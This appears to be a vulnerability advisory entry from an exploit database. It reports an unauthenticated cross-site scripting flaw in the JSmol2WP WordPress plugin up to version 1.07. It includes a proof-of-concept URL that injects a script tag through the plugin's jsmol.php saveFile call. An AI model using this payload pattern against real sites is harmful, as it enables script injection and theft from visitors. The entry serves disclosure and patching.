Lucene search

K
wpexploitRyan DewhurstWPEX-ID:0BBF1542-6E00-4A68-97F6-48A7790D1C3E
HistoryJan 07, 2019 - 12:00 a.m.

JSmol2WP <= 1.07 - Unauthenticated Cross-Site Scripting (XSS)

2019-01-0700:00:00
Ryan Dewhurst
6

The jsmol2wp WordPress plugin was affected by an Unauthenticated Cross-Site Scripting (XSS) security vulnerability.

http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=saveFile&data=%3Cscript%3Ealert(/xss/)%3C/script%3E&mimetype=text/html;%20charset=utf-8
Related for WPEX-ID:0BBF1542-6E00-4A68-97F6-48A7790D1C3E